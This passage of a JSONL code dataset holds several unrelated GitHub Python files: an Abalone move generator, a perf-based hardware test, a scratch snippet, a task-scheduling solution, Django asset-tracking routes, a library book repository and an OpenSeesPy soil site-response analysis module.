(a)\n\n","repo_name":"obsmax/srfpython","sub_path":"srfpython/standalone/asciifile.py","file_name":"asciifile.py","file_ext":"py","file_size_in_byte":4638,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"78"}
+{"seq_id":"74679191931","text":"import time\ndef grouphead(value,dx,dy,group):\n directioncoord = None\n initiatecord = True\n for coords in group:\n x, y = coords\n if initiatecord == True:\n directioncoord = coords\n initiatecord = False\n else:\n xmax, ymax = directioncoord\n if (xmax+value*dx,ymax+value*dy) in group and ((xmax+value*dx,ymax+value*dy) == (x,y) or (xmax+value*2*dx,ymax+value*2*dy) == (x,y)):\n directioncoord = coords\n return directioncoord\ndef good_moves(board,player):\n if player == 'B':\n adversary = 'W'\n else:\n adversary = 'B'\n directions = {\n 'NE': (-1, 0),\n 'SW': ( 1, 0),\n 'NW': (-1, -1),\n 'SE': ( 1, 1),\n 'E': ( 0, 1),\n 'W': ( 0, -1)\n }\n opposite = {\n 'NE': 'SW',\n 'SW': 'NE',\n 'NW': 'SE',\n 'SE': 'NW',\n 'E': 'W',\n 'W': 'E'\n }\n indice_x = 0\n result = []\n for line in board:\n indice_y = 0\n for column in line:\n coord = (indice_x,indice_y)\n if board[indice_x][indice_y] == player:\n for direction in directions:\n group = {coord}\n dx, dy = directions[direction]\n try:\n while board[indice_x+len(group)*dx][indice_y+len(group)*dy] == player and len(group)<3 and -1 not in (indice_x+len(group)*dx,indice_y+len(group)*dy):\n group.add((indice_x+len(group)*dx,indice_y+len(group)*dy))\n except IndexError:\n pass\n if len(group) == 1:\n try:\n if board[indice_x+dx][indice_y+dy] == 'E' and -1 not in (indice_x+dx,indice_y+dy):\n group.add(direction)\n if group not in result:\n result.append([(indice_x+dx,indice_y+dy),group])\n continue\n continue\n except IndexError:\n continue\n #obtenir les tête de ligne en fonction de la direction du mouvement (dans les 2 directions)\n xmax, ymax = grouphead(1,dx,dy,group)\n def validate(argument=\"None\"):\n groupX = group.copy()\n groupX.add(direction)\n answer = [argument, groupX]\n if groupX not in result:\n result.append(answer)\n #eliminer les series de plus de 3 pions et les series qui se suicideraient\n try:\n if -1 in (xmax+dx,ymax+dy): #suicide\n continue\n if board[xmax+dx][ymax+dy] == 'E': #simple move\n validate((xmax+dx,ymax+dy))\n continue\n except IndexError: #suicide\n continue\n if board[xmax+dx][ymax+dy] in ['X',player]: #suicide or serie of 4\n continue\n #board[xmax+dx][ymax+dy] = adversary\n try:\n if -1 in (xmax+2*dx,ymax+2*dy):\n validate(\"kill\")\n continue\n if board[xmax+2*dx][ymax+2*dy] == \"X\":\n validate(\"kill\")\n continue\n except IndexError:\n validate(\"kill\")\n continue\n if board[xmax+2*dx][ymax+2*dy] == \"E\":\n validate([\"push\",(xmax+2*dx,ymax+2*dy)])\n continue\n if board[xmax+2*dx][ymax+2*dy] == player: #blocked by ally\n continue\n if board[xmax+2*dx][ymax+2*dy] == adversary:\n if len(group) == 2: #not enough pushpower\n continue\n try:\n if -1 in (xmax+3*dx,ymax+3*dy):\n validate(\"kill\") \n continue\n if board[xmax+3*dx][ymax+3*dy] in [player,adversary]: #blocked\n continue\n except IndexError:\n validate(\"kill\") \n continue\n if board[xmax+3*dx][ymax+3*dy] == \"X\":\n validate(\"kill\")\n continue\n if board[xmax+3*dx][ymax+3*dy] == \"E\":\n validate([\"doublepush\",(xmax+3*dx,ymax+3*dy)])\n continue\n indice_y+=1\n indice_x+=1\n return result\n\nboard = [\n\t\t\t['W', 'W', 'W', 'W', 'B', 'X', 'X', 'X', 'X'],\n\t\t\t['W', 'W', 'W', 'W', 'W', 'W', 'X', 'X', 'X'],\n\t\t\t['E', 'E', 'W', 'W', 'W', 'E', 'E', 'X', 'X'],\n\t\t\t['E', 'E', 'E', 'E', 'E', 'E', 'E', 'E', 'X'],\n\t\t\t['E', 'E', 'E', 'E', 'W', 'E', 'E', 'E', 'E'],\n\t\t\t['X', 'E', 'E', 'E', 'W', 'E', 'E', 'E', 'E'],\n\t\t\t['X', 'X', 'E', 'E', 'B', 'B', 'B', 'E', 'E'],\n\t\t\t['X', 'X', 'X', 'B', 'B', 'B', 'B', 'B', 'B'],\n\t\t\t['X', 'X', 'X', 'X', 'B', 'B', 'B', 'B', 'B']\n\t\t]","repo_name":"Nolf195022/Abalone_client","sub_path":"goodmovesonly.py","file_name":"goodmovesonly.py","file_ext":"py","file_size_in_byte":5394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"74178454970","text":"import re\nfrom hwcompatible.test import Test\nfrom hwcompatible.command import Command\n\n\nclass PerfTest(Test):\n \"\"\"\n Perf Test\n \"\"\"\n def __init__(self):\n Test.__init__(self)\n self.requirements = [\"perf\"]\n self.perfRecord = \"perf record -a -e cycles -o hwcompatible-perf.data sleep 5\"\n self.perfEvlist = \"perf evlist -i hwcompatible-perf.data\"\n self.perfReport = \"perf report -i hwcompatible-perf.data --stdio\"\n\n def exec_perf(self):\n \"\"\"\n Execute perf command\n :return:\n \"\"\"\n # record\n print(\"Collecting the perf record using the command '%s'.\" % self.perfRecord)\n perfRecordEcho = Command(self.perfRecord).read()\n perfRecordMacth = re.search(\"perf record\", perfRecordEcho)\n if not perfRecordMacth:\n print(\"Error: failed to record events because of :\\n %s.\" % perfRecordEcho)\n else:\n print(\"Success to record events :\\n %s.\" % perfRecordEcho)\n\n # evList\n perfEvlistEcho = Command(self.perfEvlist).read()\n perfEvlistdMacth = re.search(\"cycles\", perfEvlistEcho)\n if not perfEvlistdMacth:\n print(\"Error: required hardware event not available because of :\\n %s.\" % perfEvlistEcho)\n return False\n else:\n print(\"Hardware event found : \\n %s.\" % perfEvlistEcho)\n\n # report\n perfReportEcho = Command(self.perfReport).read()\n perfReportMacth = re.search(r\"\\s*\\S+\\s+(\\[\\S+.\\S+\\])\\s+\\S+\", perfReportEcho)\n if not perfReportMacth:\n print(\"Error: no samples found. Failed to fetch report because of:\\n %s.\" % perfReportEcho)\n return False\n else:\n print(\"Samples found for the hardware event :\\n %s.\" % perfReportEcho)\n return True\n\n def test(self):\n \"\"\"\n test case\n :return:\n \"\"\"\n if not self.exec_perf():\n return False\n return True\n\n\nif __name__ == \"__main__\":\n main = PerfTest()\n main.test()\n","repo_name":"jiping-yu11/oec-hardware","sub_path":"tests/perf/perf.py","file_name":"perf.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"26795019421","text":"#%%\n\nn=['he','hello','cat','cat','dog','dog']\ns=[]\nd=dict()\nfor i in n:\n try:\n d[i]+=1\n except:\n d[i]=1\nfor i,j in d.items():\n if int(j)>1:\n s.append(i)\nh=\" \".join(s)\n\nreturn h\n\n# %%\ns=xyyxabcdefx\n","repo_name":"akashkaturi/CPP_Programming","sub_path":"00boilerplates/i.py","file_name":"i.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"31549500266","text":"from collections import deque\r\nimport sys\r\ninput = sys.stdin.readline\r\n\r\nn = int(input())\r\n\r\nindegree = [0] * (n + 1)\r\ntime = [0] * (n+1)\r\nspendTime = [0] * (n+1)\r\n\r\ngraph =[[] for i in range(n+1)]\r\nfor i in range(1,n+1):\r\n task = list(map(int,input().split()))\r\n indegree[i] = task[1]\r\n time[i] = task[0]\r\n for j in range(2, len(task)):\r\n\r\n graph[task[j]].append(i)\r\nq = deque()\r\nfor i in range(1,n+1):\r\n if indegree[i] == 0:\r\n q.append(i)\r\n\r\nwhile(q):\r\n st = q.popleft()\r\n for i in graph[st]:\r\n spendTime[i] = max(spendTime[i],time[st])\r\n indegree[i] -= 1\r\n if(indegree[i] == 0):\r\n time[i] = spendTime[i] + time[i]\r\n q.append(i)\r\n \r\nprint(max(time))","repo_name":"sksksk705/Algorithm","sub_path":"백준/Gold/2056. 작업/작업.py","file_name":"작업.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"38469861582","text":"from django.urls import path\n\nfrom rest_framework.authtoken import views as AuthTokenView\n\nfrom . import views\n\nurlpatterns = [\n path('user-login/', AuthTokenView.obtain_auth_token),\n path('create-company/', views.CompanyCreateApiView.as_view()),\n path('create-user/', views.UserCreateApiView.as_view()),\n path('hire-employee/', views.HireEmployeeApiView.as_view()),\n path('add-asset/', views.AddCompanyAsset.as_view()),\n path('provide-asset-to-employee/', views.ProvideAssetToEmployee.as_view()),\n path('returned-asset-to-company//', views.ReturnAssetToCompany.as_view()),\n path('assest-tarcking/', views.AssetTrackingApiView.as_view()),\n]\n","repo_name":"pd28CSE/assets-tracking","sub_path":"trackassets/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"72160068091","text":"import copy, random\nfrom src.domain.Book import Book\nfrom src.domain.Exceptions import RepoException\nfrom src.services.PyFilter.PyFilter import Collection\n\nclass BookRepository:\n def __init__(self):\n \"\"\"\n constructor for a list of books\n \"\"\"\n self.__books_list = Collection([])\n\n\n def generate_books(self, n=20):\n \"\"\"\n Generate books\n :param n: how many books to be generated\n \"\"\"\n\n books = [\n {'author': \"Ion Creanga\", 'books': [\"Amintiri din Copilarie\", \"Ursul Pacalit de Vulpe\", \"Harap Alb\",\n \"Danila Prepeleac\"]},\n {'author': \"Stephen King\", 'books': [\"Misery\", \"The Stand\", \"The Shining\", \"Pet Sematary\", \"Cujo\",\n \"Doctor Sleep\", \"Under the Dome\", \"The Night Shift\", \"Joyland\",\n \"The Long Walk\"] },\n {'author': \"J.R.R. Tolkien\", 'books': [\"The Fall of Gondolin\", \"The Hobbit\",\n \"The Fellowship of the Ring\", \"The Two Towers\",\n \"The Return of the King\"]},\n {'author': \"Friedrich Nietzsche\", 'books': [\"Thus Spoke Zarathustra\",\n \"Beyond Good and Evil\",\n \"God is dead\", \"Ecce Homo\"]}\n ]\n\n id = \"1\"\n for i in range(n):\n index1 = random.randint(0, len(books) - 1)\n book_author = books[index1]['author'].upper()\n index2 = random.randint(0, len(books[index1]['books']) - 1)\n book_name = books[index1]['books'][index2].upper()\n book = Book(id, book_name, book_author)\n self.__books_list.append(book)\n id = str(int(id) + 1)\n\n\n @property\n def books_list(self):\n \"\"\"\n Getter for the books list\n :return: the list of books\n \"\"\"\n return self.__books_list\n\n\n \"\"\"\n 1) Add functionality\n \"\"\"\n def check_id_unique(self, book_id):\n \"\"\"\n Checks if a given id is unique\n :param book_id: the given id of a book\n :return: True if the given id is unique, False otherwise\n \"\"\"\n for book in self.__books_list:\n if book.book_id == book_id:\n return False\n\n return True\n\n\n def add_book(self, book):\n \"\"\"\n Add to the books list a book\n :param book_id: a given book\n \"\"\"\n if self.check_id_unique(book.book_id) == False:\n raise RepoException([\"The book id has already a corepsondent in the books repository!\"])\n self.__books_list.append(book)\n\n\n \"\"\"\n 2) Remove functionality\n \"\"\"\n def remove_book(self, book):\n \"\"\"\n Removes a book from the books_list\n :param book_id: a given book\n \"\"\"\n if self.check_id_unique(book.book_id) == True: # if the book id is not in the repository, that means the book is not in repository\n raise RepoException([\"The book is not in the repository!\"])\n self.__books_list.remove(book)\n\n\n \"\"\"\n 3) Update functionality\n \"\"\"\n def __book_index(self, book1):\n \"\"\"\n Finds the index of a book\n :param book1: a given book\n :return: the index of the book1\n \"\"\"\n for i in range(len(self.__books_list)):\n book2 = self.__books_list[i]\n if book1 == book2:\n return i\n\n\n def update_book(self, old_book, new_book):\n \"\"\"\n Updates a given book from the books list\n :param old_book_id: the old book given id\n :param old_book_title: the old book given title\n :param old_book_author: the old book given author\n :param new_book_id: the new book given id\n :param new_book_title: the new book given title\n :param new_book_author: the new book give author\n \"\"\"\n if self.check_id_unique(old_book.book_id) == True: # the id wasn't found in repository, means the old book isn't in repository\n raise RepoException([\"The book that must be updated it's not in repository!\"])\n\n index = self.__book_index(old_book) # finding the position of the book that must be updated\n self.__books_list[index] = new_book\n\n\n \"\"\"\n 3) Search functionality\n \"\"\"\n def get_book_title(self, book_id):\n \"\"\"\n Returns the book title that has a certain id\n :param book_id: the id of a book\n :return: the name of the book\n \"\"\"\n for book in self.__books_list:\n if book.book_id == book_id:\n return book.book_title\n\n\n def get_book_author(self, book_id):\n \"\"\"\n Returns the book author that has a certain id\n :param book_id: the id of a book\n :return: the author of the book\n \"\"\"\n for book in self.__books_list:\n if book.book_id == book_id:\n return book.book_author\n\n","repo_name":"D17AN/LibraryX","sub_path":"src/repository/BookRepository.py","file_name":"BookRepository.py","file_ext":"py","file_size_in_byte":5123,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"37991178769","text":"import numpy as np\nimport sfsimodels as sm\nimport openseespy.opensees as opy\nimport o3seespy as o3\nimport o3seespy.extensions\nimport copy\nimport os\n\n\ndef site_response(sp, asig, freqs=(0.5, 10), xi=0.03, analysis_dt=0.001, dy=0.5, analysis_time=None, outs=None,\n rec_dt=None, base_imp=0, cache_path=None, pload=0.0, opfile=None):\n \"\"\"\n Run seismic analysis of a soil profile - example based on:\n http://opensees.berkeley.edu/wiki/index.php/Site_Response_Analysis_of_a_Layered_Soil_Column_(Total_Stress_Analysis)\n\n Parameters\n ----------\n sp: sfsimodels.SoilProfile object\n A soil profile\n asig: eqsig.AccSignal object\n An acceleration signal\n base_imp: float\n If positive then use as impedence at base of model,\n If zero then use last soil layer\n If negative then use fixed base\n\n Returns\n -------\n\n \"\"\"\n if analysis_time is None:\n analysis_time = asig.time[-1]\n if outs is None:\n outs = {'ACCX': [0]} # Export the horizontal acceleration at the surface\n if rec_dt is None:\n rec_dt = analysis_dt\n else:\n raise ValueError('This is causing an error')\n state = 0\n if opfile:\n state = 3\n osi = o3.OpenSeesInstance(ndm=2, ndf=2, state=state)\n assert isinstance(sp, sm.SoilProfile)\n sp.gen_split(props=['shear_vel', 'unit_mass'], target=dy)\n thicknesses = sp.split[\"thickness\"]\n n_node_rows = len(thicknesses) + 1\n node_depths = np.cumsum(sp.split[\"thickness\"])\n node_depths = np.insert(node_depths, 0, 0)\n ele_depths = (node_depths[1:] + node_depths[:-1]) / 2\n unit_masses = sp.split[\"unit_mass\"] / 1e3\n\n grav = 9.81\n # Rayleigh damping parameters\n omega_1 = 2 * np.pi * freqs[0]\n omega_2 = 2 * np.pi * freqs[1]\n a0 = 2 * xi * omega_1 * omega_2 / (omega_1 + omega_2)\n a1 = 2 * xi / (omega_1 + omega_2)\n\n k0 = 0.5\n pois = k0 / (1 + k0)\n\n ele_width = 3 * min(thicknesses)\n\n # Define nodes and set boundary conditions for simple shear deformation\n # Start at top and build down?\n nx = 1\n sn = []\n # sn = [[o3.node.Node(osi, ele_width * j, 0) for j in range(nx + 1)]]\n for i in range(0, n_node_rows):\n # Establish left and right nodes\n sn.append([o3.node.Node(osi, ele_width * j, -node_depths[i]) for j in range(nx + 1)])\n # set x and y dofs equal for left and right nodes\n o3.EqualDOF(osi, sn[i][0], sn[i][-1], [o3.cc.X, o3.cc.Y])\n sn = np.array(sn)\n\n if base_imp < 0:\n # Fix base nodes\n for j in range(nx + 1):\n o3.Fix2DOF(osi, sn[-1][j], o3.cc.FIXED, o3.cc.FIXED)\n else:\n # Fix base nodes\n for j in range(nx + 1):\n o3.Fix2DOF(osi, sn[-1][j], o3.cc.FREE, o3.cc.FIXED)\n\n # Define dashpot nodes\n dashpot_node_l = o3.node.Node(osi, 0, -node_depths[-1])\n dashpot_node_2 = o3.node.Node(osi, 0, -node_depths[-1])\n o3.Fix2DOF(osi, dashpot_node_l, o3.cc.FIXED, o3.cc.FIXED)\n o3.Fix2DOF(osi, dashpot_node_2, o3.cc.FREE, o3.cc.FIXED)\n\n # define equal DOF for dashpot and soil base nodes\n o3.EqualDOF(osi, sn[-1][0], sn[-1][1], [o3.cc.X])\n o3.EqualDOF(osi, sn[-1][0], dashpot_node_2, [o3.cc.X])\n\n # define materials\n ele_thick = 1.0 # m\n soil_mats = []\n strains = np.logspace(-6, -0.5, 16)\n prev_args = []\n prev_kwargs = {}\n prev_sl_type = None\n eles = []\n for i in range(len(thicknesses)):\n y_depth = ele_depths[i]\n\n sl_id = sp.get_layer_index_by_depth(y_depth)\n sl = sp.layer(sl_id)\n app2mod = {}\n if y_depth > sp.gwl:\n umass = sl.unit_sat_mass / 1e3\n else:\n umass = sl.unit_dry_mass / 1e3\n # Define material\n if sl.type == 'pm4sand':\n sl_class = o3.nd_material.PM4Sand\n overrides = {'nu': pois, 'p_atm': 101, 'unit_moist_mass': umass}\n app2mod = sl.app2mod\n elif sl.type == 'sdmodel':\n sl_class = o3.nd_material.StressDensity\n overrides = {'nu': pois, 'p_atm': 101, 'unit_moist_mass': umass}\n app2mod = sl.app2mod\n elif sl.type == 'pimy':\n sl_class = o3.nd_material.PressureIndependMultiYield\n overrides = {'nu': pois, 'p_atm': 101,\n 'rho': umass,\n 'nd': 2.0,\n 'g_mod_ref': sl.g_mod / 1e3,\n 'bulk_mod_ref': sl.bulk_mod / 1e3,\n 'cohesion': sl.cohesion / 1e3,\n 'p_ref': sl.p_ref / 1e3,\n 'd': 0.0\n # 'n_surf': 25\n }\n else:\n sl_class = o3.nd_material.ElasticIsotropic\n sl.e_mod = 2 * sl.g_mod * (1 - sl.poissons_ratio) / 1e3\n app2mod['rho'] = 'unit_moist_mass'\n overrides = {'nu': sl.poissons_ratio, 'unit_moist_mass': umass}\n\n args, kwargs = o3.extensions.get_o3_kwargs_from_obj(sl, sl_class, custom=app2mod, overrides=overrides)\n changed = 0\n if sl.type != prev_sl_type or len(args) != len(prev_args) or len(kwargs) != len(prev_kwargs):\n changed = 1\n else:\n for j, arg in enumerate(args):\n if not np.isclose(arg, prev_args[j]):\n changed = 1\n for pm in kwargs:\n if pm not in prev_kwargs or not np.isclose(kwargs[pm], prev_kwargs[pm]):\n changed = 1\n\n if changed:\n mat = sl_class(osi, *args, **kwargs)\n prev_sl_type = sl.type\n prev_args = copy.deepcopy(args)\n prev_kwargs = copy.deepcopy(kwargs)\n\n soil_mats.append(mat)\n\n # def element\n for xx in range(nx):\n nodes = [sn[i+1][xx], sn[i+1][xx + 1], sn[i][xx + 1], sn[i][xx]] # anti-clockwise\n # ele = o3.element.Quad(osi, nodes, ele_thick, o3.cc.PLANE_STRAIN, mat, b2=grav * unit_masses[i])\n # eles.append(ele)\n eles.append(o3.element.SSPquad(osi, nodes, mat, o3.cc.PLANE_STRAIN, ele_thick, 0.0, grav * unit_masses[i]))\n\n if base_imp >= 0:\n # define material and element for viscous dampers\n base_sl = sp.layer(sp.n_layers)\n c_base = ele_width * base_sl.unit_dry_mass / 1e3 * sp.get_shear_vel_at_depth(sp.height)\n dashpot_mat = o3.uniaxial_material.Viscous(osi, c_base, alpha=1.)\n o3.element.ZeroLength(osi, [dashpot_node_l, dashpot_node_2], mats=[dashpot_mat], dirs=[o3.cc.DOF2D_X])\n\n # Static analysis\n o3.constraints.Transformation(osi)\n o3.test.NormDispIncr(osi, tol=1.0e-5, max_iter=30, p_flag=0)\n o3.algorithm.Newton(osi)\n o3.numberer.RCM(osi)\n o3.system.ProfileSPD(osi)\n o3.integrator.Newmark(osi, gamma=0.5, beta=0.25)\n o3.analysis.Transient(osi)\n o3.analyze(osi, 10, 500.)\n\n for i in range(len(soil_mats)):\n if hasattr(soil_mats[i], 'update_to_nonlinear'):\n soil_mats[i].update_to_nonlinear(osi)\n o3.analyze(osi, 40, 500.)\n\n o3.rayleigh.Rayleigh(osi, a0, a1, 0, 0)\n\n # reset time and analysis\n o3.set_time(osi, 0.0) # TODO:\n o3.wipe_analysis(osi)\n\n coords = o3.get_all_node_coords(osi)\n ele_node_tags = o3.get_all_ele_node_tags_as_dict(osi)\n all_node_xdisp_rec = o3.recorder.NodesToArrayCache(osi, 'all', [o3.cc.DOF2D_X], 'disp', nsd=4)\n all_node_ydisp_rec = o3.recorder.NodesToArrayCache(osi, 'all', [o3.cc.DOF2D_Y], 'disp', nsd=4)\n\n # Define the dynamic analysis\n print('Here')\n o3.constraints.Transformation(osi)\n o3.test.NormDispIncr(osi, tol=1.0e-5, max_iter=15, p_flag=0)\n #o3.test_check.EnergyIncr(osi, tol=1.0e-7, max_iter=10)\n o3.algorithm.Newton(osi)\n o3.system.SparseGeneral(osi)\n o3.numberer.RCM(osi)\n o3.integrator.Newmark(osi, gamma=0.5, beta=0.25)\n o3.analysis.Transient(osi)\n\n if pload:\n static_time = 100\n print('time: ', o3.get_time(osi))\n # Add static stress bias\n time_series = o3.time_series.Path(osi, time=[0, static_time / 2, static_time, 1e3], values=[0, 0.5, 1, 1], use_last=1)\n o3.pattern.Plain(osi, time_series)\n o3.Load(osi, sn[0][0], [pload * ele_width, 0])\n o3.Load(osi, sn[9][0], [-pload * ele_width, 0])\n if base_imp >= 0:\n o3.Load(osi, sn[-1][0], [-pload, 0])\n\n static_dt = 0.1\n o3.analyze(osi, int(static_time / static_dt) * 1.5, static_dt)\n o3.load_constant(osi, time=0)\n\n o3.set_time(osi, 0.0) # TODO:\n init_time = o3.get_time(osi)\n o3sra_outs = O3SRAOutputs()\n o3sra_outs.start_recorders(osi, outs, sn, eles, rec_dt=rec_dt)\n\n # Define the dynamic input motion\n if base_imp < 0: # fixed base\n acc_series = o3.time_series.Path(osi, dt=asig.dt, values=-asig.values) # should be negative\n o3.pattern.UniformExcitation(osi, dir=o3.cc.X, accel_series=acc_series)\n else:\n ts_obj = o3.time_series.Path(osi, dt=asig.dt, values=asig.velocity * -1, factor=c_base)\n o3.pattern.Plain(osi, ts_obj)\n o3.Load(osi, sn[-1][0], [1., 0.])\n\n if state == 3:\n o3.extensions.to_py_file(osi, opfile)\n # Run the dynamic motion\n while o3.get_time(osi) - init_time < analysis_time:\n if o3.analyze(osi, 1, analysis_dt):\n print('failed')\n break\n o3.wipe(osi)\n out_dict = o3sra_outs.results_to_dict()\n\n if cache_path:\n import o3_plot\n o3sra_outs.cache_path = cache_path\n o3sra_outs.results_to_files()\n o3res = o3_plot.O3Results()\n o3res.cache_path = cache_path\n o3res.coords = coords\n o3res.ele_node_tags = ele_node_tags\n o3res.x_disp = all_node_xdisp_rec.collect()\n o3res.y_disp = all_node_ydisp_rec.collect()\n o3res.save_to_cache()\n\n return out_dict\n\n\n\nclass O3SRAOutputs(object):\n cache_path = ''\n out_dict = None\n area = 1.0\n outs = None\n\n def start_recorders(self, osi, outs, sn, eles, rec_dt, sn_xy=False):\n self.rec_dt = rec_dt\n self.eles = eles\n self.sn_xy = sn_xy\n if sn_xy:\n self.nodes = sn[0, :]\n else:\n self.nodes = sn[:, 0]\n self.outs = outs\n node_depths = np.array([node.y for node in sn[:, 0]])\n ele_depths = (node_depths[1:] + node_depths[:-1]) / 2\n ods = {}\n for otype in outs:\n if otype in ['ACCX', 'DISPX']:\n if isinstance(outs[otype], str) and outs[otype] == 'all':\n\n if otype == 'ACCX':\n ods['ACCX'] = o3.recorder.NodesToArrayCache(osi, nodes=self.nodes, dofs=[o3.cc.X], res_type='accel',\n dt=rec_dt)\n if otype == 'DISPX':\n ods['DISPX'] = o3.recorder.NodesToArrayCache(osi, nodes=self.nodes, dofs=[o3.cc.X], res_type='disp',\n dt=rec_dt)\n else:\n ods['ACCX'] = []\n for i in range(len(outs['ACCX'])):\n ind = np.argmin(abs(node_depths - outs['ACCX'][i]))\n ods['ACCX'].append(\n o3.recorder.NodeToArrayCache(osi, node=sn[ind][0], dofs=[o3.cc.X], res_type='accel', dt=rec_dt))\n if otype == 'TAU':\n for ele in eles:\n assert isinstance(ele, o3.element.SSPquad)\n ods['TAU'] = []\n if isinstance(outs['TAU'], str) and outs['TAU'] == 'all':\n ods['TAU'] = o3.recorder.ElementsToArrayCache(osi, eles=eles, arg_vals=['stress'], dt=rec_dt)\n else:\n for i in range(len(outs['TAU'])):\n ind = np.argmin(abs(ele_depths - outs['TAU'][i]))\n ods['TAU'].append(\n o3.recorder.ElementToArrayCache(osi, ele=eles[ind], arg_vals=['stress'], dt=rec_dt))\n if otype == 'TAUX':\n if isinstance(outs['TAUX'], str) and outs['TAUX'] == 'all':\n if sn_xy:\n order = 'F'\n else:\n order = 'C'\n ods['TAUX'] = o3.recorder.NodesToArrayCache(osi, nodes=sn.flatten(order), dofs=[o3.cc.X], res_type='reaction',\n dt=rec_dt)\n if otype == 'STRS':\n ods['STRS'] = []\n if isinstance(outs['STRS'], str) and outs['STRS'] == 'all':\n ods['STRS'] = o3.recorder.ElementsToArrayCache(osi, eles=eles, arg_vals=['strain'], dt=rec_dt)\n else:\n for i in range(len(outs['STRS'])):\n ind = np.argmin(abs(ele_depths - outs['STRS'][i]))\n ods['STRS'].append(o3.recorder.ElementToArrayCache(osi, ele=eles[ind], arg_vals=['strain'], dt=rec_dt))\n if otype == 'STRSX':\n if isinstance(outs['STRSX'], str) and outs['STRSX'] == 'all':\n if 'DISPX' in outs:\n continue\n if sn_xy:\n nodes = sn[0, :]\n else:\n nodes = sn[:, 0]\n ods['DISPX'] = o3.recorder.NodesToArrayCache(osi, nodes=nodes, dofs=[o3.cc.X], res_type='disp',\n dt=rec_dt)\n\n self.ods = ods\n\n def results_to_files(self):\n od = self.results_to_dict()\n for item in od:\n ffp = self.cache_path + f'{item}.txt'\n if os.path.exists(ffp):\n os.remove(ffp)\n np.savetxt(ffp, od[item])\n\n def load_results_from_files(self, outs=None):\n if outs is None:\n outs = ['ACCX', 'TAU', 'STRS', 'time']\n od = {}\n for item in outs:\n od[item] = np.loadtxt(self.cache_path + f'{item}.txt')\n return od\n\n def results_to_dict(self):\n ro = o3.recorder.load_recorder_options()\n import pandas as pd\n df = pd.read_csv(ro)\n if self.outs is None:\n items = list(self.ods)\n else:\n items = list(self.outs)\n if self.out_dict is None:\n self.out_dict = {}\n for otype in items:\n if otype not in self.ods:\n if otype == 'STRSX':\n depths = []\n for node in self.nodes:\n depths.append(node.y)\n depths = np.array(depths)\n d_incs = depths[1:] - depths[:-1]\n vals = self.ods['DISPX'].collect(unlink=False).T\n self.out_dict[otype] = (vals[1:] - vals[:-1]) / d_incs[:, np.newaxis]\n elif isinstance(self.ods[otype], list):\n self.out_dict[otype] = []\n for i in range(len(self.ods[otype])):\n if otype in ['TAU', 'STRS']:\n self.out_dict[otype].append(self.ods[otype][i].collect()[2])\n else:\n self.out_dict[otype].append(self.ods[otype][i].collect())\n self.out_dict[otype] = np.array(self.out_dict[otype])\n else:\n vals = self.ods[otype].collect().T\n cur_ind = 0\n self.out_dict[otype] = []\n if otype in ['TAU', 'STRS']:\n for ele in self.eles:\n mat_type = ele.mat.type\n form = 'PlaneStrain'\n dfe = df[(df['mat'] == mat_type) & (df['form'] == form)]\n if otype == 'TAU':\n dfe = dfe[dfe['recorder'] == 'stress']\n ostr = 'sxy'\n else:\n dfe = dfe[dfe['recorder'] == 'strain']\n ostr = 'gxy'\n assert len(dfe) == 1\n outs = dfe['outs'].iloc[0].split('-')\n oind = outs.index(ostr)\n self.out_dict[otype].append(vals[cur_ind + oind])\n cur_ind += len(outs)\n self.out_dict[otype] = np.array(self.out_dict[otype])\n # if otype == 'STRS':\n # self.out_dict[otype] = vals[2::3] # Assumes pimy\n # elif otype == 'TAU':\n # self.out_dict[otype] = vals[3::5] # Assumes pimy\n elif otype == 'TAUX':\n f_static = -np.cumsum(vals[::2, :] - vals[1::2, :], axis=0)[:-1] # add left and right\n f_dyn = vals[::2, :] + vals[1::2, :] # add left and right\n f_dyn_av = (f_dyn[1:] + f_dyn[:-1]) / 2\n # self.out_dict[otype] = (f[1:, :] - f[:-1, :]) / area\n self.out_dict[otype] = (f_dyn_av + f_static) / self.area\n else:\n self.out_dict[otype] = vals\n # Create time output\n if 'ACCX' in self.out_dict:\n self.out_dict['time'] = np.arange(0, len(self.out_dict['ACCX'][0])) * self.rec_dt\n elif 'TAU' in self.out_dict:\n self.out_dict['time'] = np.arange(0, len(self.out_dict['TAU'][0])) * self.rec_dt\n return self.out_dict\n\n\ndef site_response_w_pysra(soil_profile, asig, odepths):\n import liquepy as lq\n import pysra\n pysra_profile = lq.sra.sm_profile_to_pysra(soil_profile, d_inc=[0.5] * soil_profile.n_layers)\n # Should be input in g\n pysra_m = pysra.motion.TimeSeriesMotion(asig.label, None, time_step=asig.dt, accels=-asig.values / 9.8)\n\n calc = pysra.propagation.EquivalentLinearCalculator()\n\n od = {'ACCX': [], 'STRS': [], 'TAU': []}\n outs = []\n for i, depth in enumerate(odepths):\n od['ACCX'].append(len(outs))\n outs.append(pysra.output.AccelerationTSOutput(pysra.output.OutputLocation('within', depth=depth)))\n od['STRS'].append(len(outs))\n outs.append(pysra.output.StrainTSOutput(pysra.output.OutputLocation('within', depth=depth), in_percent=False))\n od['TAU'].append(len(outs))\n outs.append(pysra.output.StressTSOutput(pysra.output.OutputLocation('within', depth=depth),\n normalized=False))\n outputs = pysra.output.OutputCollection(outs)\n calc(pysra_m, pysra_profile, pysra_profile.location('outcrop', depth=soil_profile.height))\n outputs(calc)\n\n out_series = {}\n for mtype in od:\n out_series[mtype] = []\n for i in range(len(od[mtype])):\n out_series[mtype].append(outputs[od[mtype][i]].values[:asig.npts])\n out_series[mtype] = np.array(out_series[mtype])\n if mtype == 'ACCX':\n out_series[mtype] *= 9.8\n return out_series\n","repo_name":"o3seespy/o3soil","sub_path":"o3soil/sra/one_d_works.py","file_name":"one_d_works.py","file_ext":"py","file_size_in_byte":19051,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
